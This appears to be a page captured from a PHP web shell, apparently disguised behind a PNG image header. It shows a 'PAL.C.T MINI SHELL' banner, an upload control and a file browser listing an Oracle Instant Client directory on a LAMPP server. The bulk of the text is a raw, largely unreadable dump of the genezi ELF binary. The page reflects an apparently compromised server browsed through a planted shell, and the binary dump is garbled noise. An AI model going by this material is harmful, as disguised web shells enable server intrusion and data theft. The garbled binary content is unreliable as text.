php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/lib/instantclient/
upload
files >> //opt/lampp/lib/instantclient/genezi

ELF4j4 (444XXX(0Y(((  Qtd/lib/ld-linux.so.2GNU%2-)+0	1*& .,!$(/'
#"%
0;6Q~en|l)!1G`K@
?XGNU$$&^ f$8[Fx8h p(*4 >~ libclntsh.so.11.1slzprintfOCIPGetLibClientVersionBanner__intel_new_proc_initLdiTZGetPathAndSizeSlfFreadlfvTZFileName_DYNAMICslgsdslstmcloslosDep2StringSlfFseeknslzgetevarslfDirCloselstssslfDirOpenSlfFcloseslfDirReadssMemMallocssMemFreeOCIPGetLibClientVersionString_fini__intel_VEC_memzeroOCIPGetLibClientVersionStringLimitlfvIsVfsModelfvinit_GLOBAL_OFFSET_TABLE_vsnnumSlfFopenlstprintfSlfAccess_Jv_RegisterClassesslosDep2MesgSlfFtelln__gmon_start__SlfFwritelibdl.so.2libm.so.6libpthread.so.0libnsl.so.1libc.so.6fprintf__assert_failmemmovestdoutstderrstrtok_rstrncmp__libc_start_mainsnprintfexit_edata__bss_start_endGLIBC_2.0ii
)0 $(,04	8
<@D
HLPTX\`dhlptx| !"#$%*+,./1U*5%%h%h% h%$h%(h %,h(%0h0%4h8p%8h@`%<hHP%@hP@%DhX0%Hh` %Lhh%Php%Thx%Xh%\h%`h%dh%hh%lh%ph%thp%xh`%|hP%h@%h0%h %h%h%h%h%h%h%h%h 1^PTRhhQVh`US[']RtX[ÐU= tvҡu ÉUtthЃvÐU}u]uj[Ç\E^V-ORB?(jyYPVojtjPRMhPjU艵3M荅rRQPjtR	r	RQPCt+RrƄ=QhRVhVsPPRTPIMUEPRQhWjjX ƅPRMUEPRQhWjj$"ƅPRVY]u}3]ËEVP"]u}3]ËEVPx%]u}3]6P\EPM6P?EP66P(EP6(P6PW6hP6(PW6P6P6P P6TPW6PP}|6Pl6P^PRWL6 P>6DP06tP"PP
8]u}]ËEǃVPW]u}3]ËEVP;]u}3]ÍPR]u}]Í|PR]u}]ÍPcjhPEt PR9E]u}]ÍPRjhPPEt HPRE]u}]ÍPR(P2J]u}]ÍVP]}Ƌu]U@}u]E[WEH3tTu= ~uEREHM3tTu= E~BEH3tTu= u`uhYtyEVPRPVv34yY;rVgY]u}]ÍPH8PhRQPj(H8PhRQ`J3EH8PhRQ5TH8PhRQU u]U3[ThEMQVuTtHu}썵uEPuR$UEPRju}]u]ÐU$0}u]MEEj[LT]lRQM3tTuDžEE3tTuU]PQMRQ؋ET*]ERSJ2t.AE:utW:Vuu3tE:utW:Vuu3XE:utW:Vuu3E:utW:Vuu3E/D3uuIEMPRQSO|._EUPRSIE/uE<E</uuME3tTuEE]tjHRQDCEPY]u}]U}u]UuX7QE3Fɉ]MVPQwMu]u}]ËuJE:utW:Vuu3u]u}]Ë]PQ]u}3]Ë]PRȅt9PY]u}3]Åt ؍R3FQ7]u}3]ÐU }u]M}EXOEhU3tTuEtuuU]EPRQt6u}URWPEVPUuU]EPRjuЋ]u}]ËEUM]PRjQS]u}]ÐU}u]u!3tTuXNE3tTu]PQWVȍC3҃*…vOE;r9ME}+3<2;t}];r;t]u}3]ËEM3tTu]PY؅tW}uUMu]E]~u􉼐@E}]Ë]EPR]j]hP]jUEM++WS]RMt]u}3]ËU]+׃</t]|/u}]TQVR]u}3]3UV}}WjWj
}]U}uuEPRQVu3tTuƄ/3tTuƄ3uuERQVu}]ÐU0}u]}UEP^ƆKRuhQWj3ۈ3tTu}ЍShRPQW:uuM3tTuȋE/t9E</uuuE]u}]ËE<ЍPjE PRjU3ҋEu [R"J]3҉U3M] 3RPRRRR43wEM] 3RPRRRjV] jPV!UU@;] jPVEE;@]uEl]3ߋ3tTu|ًM;rËuË]UD H WPRjPRQjPWtPWWPP$PW,Px@PlP`WZXPNlPBP6W0P$PPWWxhƗPRQPhPRQPhPRQPvjPRQZPNPB(0jPRQ P0LVRtEdPVR PRVQWjPRQPWWPPxPlP`PTPH$P<W64P*PPPLPWWx4VVVVVPWXVPWxVPPPRPRPvWpWjVP]WWWQVPDP8VP+ PW|W
VPPDVPPlVPVPVVPEP VP PWW|VPoPc4PWPKP?P3P'@VPxXVP
TPEPTPVP PWW|VPPVPWlVPVP~EPuPi P]WWWQVPDP8tVP+W%|PWW
VPPPWPVPW8VVPtVPPP4VVPVPrPfPZWTVPGP;x]33]PEQW4R/E]E4\R Pj]E4R Pjg3EhU$}u]܋E[AEH3tTu= @ܿuEH3tTu= uEEH3tTu= _hY4VPR}MUEPRQWEPܿP$U;hjPEPRQuVu$upuuPRVuuu VuPuL	v34Y;rVY]܋u}]ÍPRVuuu딍PRQgj0POjH PhRQn3slH PhRQ@4H PhRQ,H PhRQfU3}UMuPF[>RPjPPWH333jPhRWTЅ"vfUu3;3}<;ut&U;rÉuiE5N;r@MuZREEM 8]+كtQRP9jڍQVRPD~mjPRETPR]ËE8PRPs	jTUEMZ<UU%}}3]3҉JRPjR4)U;r}EEUvT}E\<}:utW:Vuu32E;rE}u]u403QƙPEQRVQPEvj}33]UTU3tTu]jRPQMQF|5UE;r}EU]Ë]UX4QP]jm],VPPf]jDEU]\M]E4R9P]j3҈JU	3uUM [B9;}M3RPRRWRQ3UjPjRpEQE$3EEE0M3PRPPQPEPM3RPRRRR4M׉uU4
3ҋjRPQW~9UMT2 ;jRPQMQ=tjQ֋uUNjP^UM]]DTB]RU4EP+E;PV #VRQE U$M@PRQV ]ËE4RPjp‹U$PRVU$PRV1j4E4tRMP)j
E썓,PR'PjU$UPPjWPPjUPE PREU MRQ6,jU U}]M3} PR R[5PPQPWuRE jRQuW[|
]}]Í|P PjE,PR PjUWVS[V5~E)19s׉M)F9Ήr[^_ÉUWVS[5)pNu^[^_ÐUSR
vЋuX[U }u]E[Î4(EH3tTu= uE~*Ep3tTu= r^3hYtlWVPWv34zY;rWhY]u}]Í(HPhRQVPjHPhRQdTHPhRQCU}u]}[3P`v-E34@EVP4;rދ]u}]ÐU]h[à2PRuP]]ÐUl}u]U[Y2Ej
PU}EJPQhjVhW/U$ށ~i}EjPPeUtWEMB%PhjQVWU+~!B2tB2UPhjRVW]u}]ÍMEPhjQVWU+~uMPhQaUށ~}EIU	}؉u܉]3M}U[2P490QPPVPR+EPYEKU]3}u]3QRQQQQ4ЅMu}]3]3jQPRWM+HU~'jQPERP=t]׋}U3ɈQMS]jPQbU]jQRUM]uD
t
UVu4RU;]}$G #WPR]u܋}؋]ËEU4QP_j@]U4QTP0jeu3E]Ut4QPj ,VPPjUS[o.PVY[%snode nameoracle_homerdbmsSmall timezone file = %s
Large timezone file = %s
Usage: %s -v
Example: %s -v
geneziCreategenezi.cargc >= 3ociei oracorezoneinfo..ade_patholdtimestenxestat failedORACLE_HOMEError: Cannot get ORACLE_HOME
Error: Cannot open file %s
#ifndef ORASTDLIB
#include <stdlib.h>
#endif
#ifndef ORASTRING
#include <string.h>
#ifndef ORAASSERT
#include <assert.h>
#ifndef OCI_ORACLE
#include <oci.h>
%s%#08lX
#define GENEZI_PATTERN_0  #define GENEZI_PATTERN_1  #define GENEZI_PATTERN_2  #define GENEZI_PATTERN_3  %s%ld
#define GENEZI_PATLEN   #define %s_VSNNUM   %d
#define %s_NUMFILES   %d
#define GENEZI_ARR_HDR  typedef struct geneziFR
{
    ub4 offset_geneziFR;
    ub4 name_geneziFR;
    ub4 size_geneziFR;
    ub4 attrib_geneziFR;
} geneziFR;
typedef struct lfvDCtx
} lfvDCtx;
static const ub1 *%sSrcOff;
static const lfvDCtx %sdctx =
    "%s",
    "%s"
  };
ub4 %sGetNumFiles()
  return %s_NUMFILES;
void %sInitSrcOff(void)
  char buf[1024];
  else
    %sSrcOff = (oratext *)0;
  %sInitSrcOff();
     return OCI_ERROR;
  if (i < %s_NUMFILES)
    return (oratext *) 0;
  geneziFR *frec;
  if (*fsize)
       return (ub1 *)&%sdctx;
  if (frec)
  {
    if (fsize)
  return((ub1 *)0);
}
geneziStoreargc >= 4Error: can't write to %s
Error: marker not found in %s
Error: Cannot read file %s
"%s", size = %d
geneziDirectory
The catalog has %d entries.
%-10d:%-10d %s
GENEZI%s INTERNAL ERROR
ORA-%5d: %s
ORA-%5d: %s, %s
totalBytes = %d, arrSize = %d
Example: %s -c "rdbms/mesg precomp/mesg/sql*.msb" ".msb" > ociei.c
Error: File %s, index number %d has size = %d, but ftell returns %d
/* Copyright (c) 2002, 2008, Oracle Corporation.  All rights reserved.  */
/* NOTE: THIS IS A GENERATED FILE.  DO NOT MODIFY                       */
#define GENEZI_PATTERN  {GENEZI_PATTERN_0,GENEZI_PATTERN_1,GENEZI_PATTERN_2,GENEZI_PATTERN_3}
static const ub4 %sFileBuffer[%s_ARRSIZE] = {GENEZI_PATTERN_0,GENEZI_PATTERN_1,GENEZI_PATTERN_2,GENEZI_PATTERN_3,%s_VSNNUM, (ub4)0, %s_NUMFILES, %s_ARRSIZE};
    %sSrcOff = (oratext *)(%sFileBuffer) + GENEZI_PATLEN + GENEZI_ARR_HDR;
dvoid *libCtx;     /* The context for this package if previously called */ 
sword      argc;           /* argc if I am being called as a program */
dvoid *argv[];     /* argv if I am being called as a program */
    return (OCISharedLibInit(metaCtx, libCtx, argfmt, argc, argv,
                            (OCIEnvCallbackType)%sGetFileBuffer));
static sword %sNameCompare(const void *fname, const void *frec)
  oratext *rec_fname = (oratext *)%sSrcOff + ((geneziFR  *)frec)->name_geneziFR;
  return strcmp((const char *)fname, (const char *)rec_fname);
}
           (sizeof(%sFileBuffer) - (%s_NUMFILES * sizeof(geneziFR))));
    assert((frec->offset_geneziFR + frec->size_geneziFR) < sizeof(%sFileBuffer));
Error: Number of files computed during create phase does not match the one in store phase: reserved: %ld storing: %ld
This is a problem where number of files accessible during create phase(genezi -c) do not match the ones in final store phase (genezi -s). Please rerun gmake -r clean_ociei and gmake -r libociei
If problem persists make sure that the files are accessible in both phases by listing them from each directory specifed in genezi.
Error: Insufficient space to store data: reserved: %ld storing: %ld phase(genezi -c) do not match the ones in final store phase (genezi -s). Please rerun "gmake -r clean_ociei and gmake -r libociei".
If problem persists make sure that the files are accessible in both phases by listing them from each directory specifed in genezi.
Error: Could not initialize LFV: %d
Version information cannot be obtained.
Operating in ORACLE_HOME environment.
Error: Cannot get path of the small timezone file: %d
Error: Cannot get path of the large timezone file: %d
Operating in Instant Client mode.
Error: Could not obtain small timezone filename: %d
Error: Could not obtain large timezone filename: %d
Usage: %s -c <space separated dir list> [space separated extension list]
Usage: %s -s <libname> <space separated dir list>Usage: %s -d <space separated dir list>Usage: %s -i <object file>  <root directory> <inventory file>
Example: %s -i ociClientVer.o /home/oracle opatchinv.out
Example: %s -c /home/oracle .msb
Example: %s -c /home/oracle ".msb .nlb .dat"
Example: %s -c "rdbms/mesg nls/data oracore/zoneinfo" ".msb .nlb .dat" > ociei.c
Example: %s -s libociei.so /home/oracle .msb
Example: %s -s libociei.so /home/oracle ".msb .nlb .dat"
Example: %s -s libociei.so "rdbms/mesg nls/data oracore/zoneinfo" ".msb .nlb .dat" > store.out
Example: %s -d /home/oracle .msb
Example: %s -d /home/oracle ".msb .nlb .dat"
Example: %s -d "rdbms/mesg nls/data oracore/zoneinfo" ".msb .nlb .dat" > dir.out

The dir list is platform specific.

strlen((const char *)(argv[2])) < sizeof(pathList)strlen((const char *)(argv[3])) < 8192strlen((const char *)(argv[4])) < sizeof(comp)Error: SlmMalloc failed in geneziCreates
Error: Number of files exceeds the maximum of %d
Error: SlmMalloc failed in geneziFilterFile for file name %s
Error: Cannot get path and size of the %d timezone file
Error: Cannot seek to the end of file %s
#define %s_ARRSIZE    %ld    /* totalBytes = %ld */
  oratext       *smalltz_lfvDCtx;
  oratext       *largetz_lfvDCtx;
const ub1 *%sGetFileBuffer(oratext *fname, ub4 *fsize);
  ub4 *pbuf = (ub4 *)(%sFileBuffer)+4;
  if ((*(pbuf+2) == %s_NUMFILES) &&
      (*(pbuf+3) == %s_ARRSIZE))
sword %sInit(metaCtx, libCtx, argfmt, argc, argv)
dvoid *metaCtx;         /* The metacontext */
ub4     argfmt;         /* What am I supposed to do? */
  if (%sSrcOff == (oratext *)0)
const oratext *%sGetFileName(ub4 i)
  geneziFR *frec = (geneziFR *)%sSrcOff;
    return %sSrcOff + frec[i].name_geneziFR;
const ub1 *%sGetFileBuffer(oratext *fname, ub4 *fsize)
  frec = (geneziFR *)bsearch(fname, %sSrcOff, %s_NUMFILES,
                             sizeof(*frec), %sNameCompare);
    assert(frec->size_geneziFR <
      *fsize = frec->size_geneziFR;
    return(%sSrcOff + frec->offset_geneziFR);
  }
strlen((const char *)(argv[2])) < sizeof(objectFile)strlen((const char *)(argv[3])) < sizeof(pathList)strlen((const char *)(argv[4])) < 8192Error: SlmMalloc failed in geneziStore
Error: version mismatch actual=%X this=%X in geneziStore
Error: Cannot seek to %d in target file
Error: Cannot write name of %s in the target file
Error: Cannot seek to vsn offset %d in file
Error: Cannot write versin in the target file
Error: Cannot write %s in the target file
totalBytes = %d, arrSize = %d File=%ld
totalBytes rsvd = %d, arrSize rsvd =%ld, Files rsvd = %ld
Error: Cannot write header in the target file
Error: SlmMalloc failed in geneziDirectory
Ɨ@
H̅
( o؈ootn~Ίފ.>N^n~΋ދ.>N^n~ƏsȍGCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-10.0.1)GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-10.0.1)GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-11.0.1)-?comment:Intel(R) C++ Compiler for applications running on IA-32, Version 10.1    Build 20100527 %s  : genezi.c : -I. -I/ade/b/1823907126/oracle/rdbms/src/hdir/ -I/ade/b/1823907126/oracle/oracore/include -I/ade/b/1823907126/oracle/oracore/public -I/ade/b/1823907126/oracle/oracore/port/include -I/ade/b/1823907126/oracle/xdk/include -I/ade/b/1823907126/oracle/xdk/public -I/ade/b/1823907126/oracle/nlsrtl/include -I/ade/b/1823907126/oracle/plsql/public -I/ade/b/1823907126/oracle/plsql/include -I/ade/b/1823907126/oracle/ldap/public/sslinc -I/ade/b/1823907126/oracle/ldap/include/sslinc -I/ade/b/1823907126/oracle/network/public -I/ade/b/1823907126/oracle/network/include -I/ade/b/1823907126/oracle/precomp/public/ -I/ade/b/1823907126/oracle/precomp/include/ -I/ade/b/1823907126/oracle/slax/include -I/ade/b/1823907126/oracle/javavm/include -I/ade/b/1823907126/oracle/dbjava/if -I/ade/b/1823907126/oracle/ctx/public -I/ade/b/1823907126/oracle/ordim/public -I/ade/b/1823907126/oracle/ordim/include -I/ade/b/1823907126/oracle/ldap/public -I/ade/b/1823907126/oracle/ldap/include -I/ade/b/1823907126/oracle/wwg/public -I/ade/b/1823907126/oracle/dbjava/if -I/ade/b/1823907126/oracle/oraolap/public -I/ade/b/1823907126/oracle/has/include -I/ade/b/1823907126/oracle/opsm/include -I/ade/b/1823907126/oracle/oss/include -I/ade/b/1823907126/oracle/opmn/src/c/public -I/ade/b/1823907126/oracle/rdbms/src/port/server -I/ade/b/1823907126/oracle/rdbms/src/port/generic -c -o /ade/b/1823907126/oracle/rdbms/lib/genezi.o -O2 -std=c89 -fno-omit-frame-pointer -mp1 -fp_port -prof_use -prof_dir /scratch/aime/pgo_profile/RDBMS_11.2.0.3.0_LINUX_110916 -sox -no-global-hoist -mIPOPT_args_in_regs=0 -wd191 -wd175 -wd188 -wd810 -we127 -we1345 -we1338 -wd279 -wd186 -wd1572 -wd589 -we592 -Qoption,cpp,--treat_func_as_string_literal -mPGOPTI_func_group -mPGOPTI_conv_icall_pgosf=FALSE -we167 -we147 -we556 -we266 -we1011 -Dmalloc=ssMemMalloc -Dfree=ssMemFree -Dcalloc=ssMemCalloc -Drealloc=ssMemRealloc -Dstrdup=ssMemStrdup -Dpipe=ssOswPipe -Dpopen=ssOswPopen -Dpclose=ssOswPclose -Dopen=ssOswOpen -Dopen64=ssOswOpen -Dcreat=ssOswCreat -Dclose=ssOswClose -Dfopen=ssOswFopen -Dfdopen=ssOswFdopen -Dfreopen=ssOswFreopen -Dfclose=ssOswFclose -Ddup=ssOswDup -Ddup2=ssOswDup2 -Dsocket=ssOswSocket -Ddlopen=ssOswDlopen -Ddlclose=ssOswDlclose -Dpthread_mutex_lock=ssOswPthread_mutex_lock -Dpthread_mutex_trylock=ssOswPthread_mutex_trylock -Dpthread_mutex_unlock=ssOswPthread_mutex_unlock -fPIC -DLINUX -D_GNU_SOURCE -D_LARGEFILE64_SOURCE=1 -D_LARGEFILE_SOURCE=1 -DSLTS_ENABLE -DSLMXMX_ENABLE -D_REENTRANT -DNS_THREADS -DLDAP_CM -DKSMEM_ENABLED -D_BCERT_API_ -DRSA_PLATFORM=RSA_LINUX -DSSTHRD_ENABLED -DPLSQLNCG_SUPPORTED=1 -DNTEV_USE_POLL -DNTEV_USE_QUEUE -DNTEV_USE_GENERIC -DNTEV_USE_EPOLL -DNET_USE_LDAP -?comment:
 -?comment:PROF: USED    geneziOsReadDir()
 -?comment:PROF: USED    geneziFilterFile()
 -?comment:PROF: USED    geneziCatalogFile()
 -?comment:PROF: USED    geneziTZFileInfo()
 -?comment:PROF: USED    geneziCatalogTZFile()
 -?comment:PROF: USED    geneziCatalogTZFiles()
 -?comment:PROF: USED    geneziCatalogDir()
 -?comment:PROF: USED    geneziCreateCatalog()
 -?comment:PROF: USED    geneziCreateShlib()
 -?comment:PROF: USED    geneziCreate()
 -?comment:PROF: USED    geneziLocatePattern()
 -?comment:PROF: USED    geneziWriteNames()
 -?comment:PROF: USED    geneziWriteFiles()
 -?comment:PROF: USED    geneziWriteHeader()
 -?comment:PROF: USED    geneziStore()
 -?comment:PROF: USED    main()
 -defaultlib:libirc -defaultlib:libirc GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-11.0.1)GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-10.0.1).shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.texttext.unlikely.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.data1.bss.comment(( !HHd' /̅7ottdDo؈ S	 \		(e@@
`XX
`k(qdd50;;4 XXYYYYZZZ`   [ [i
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`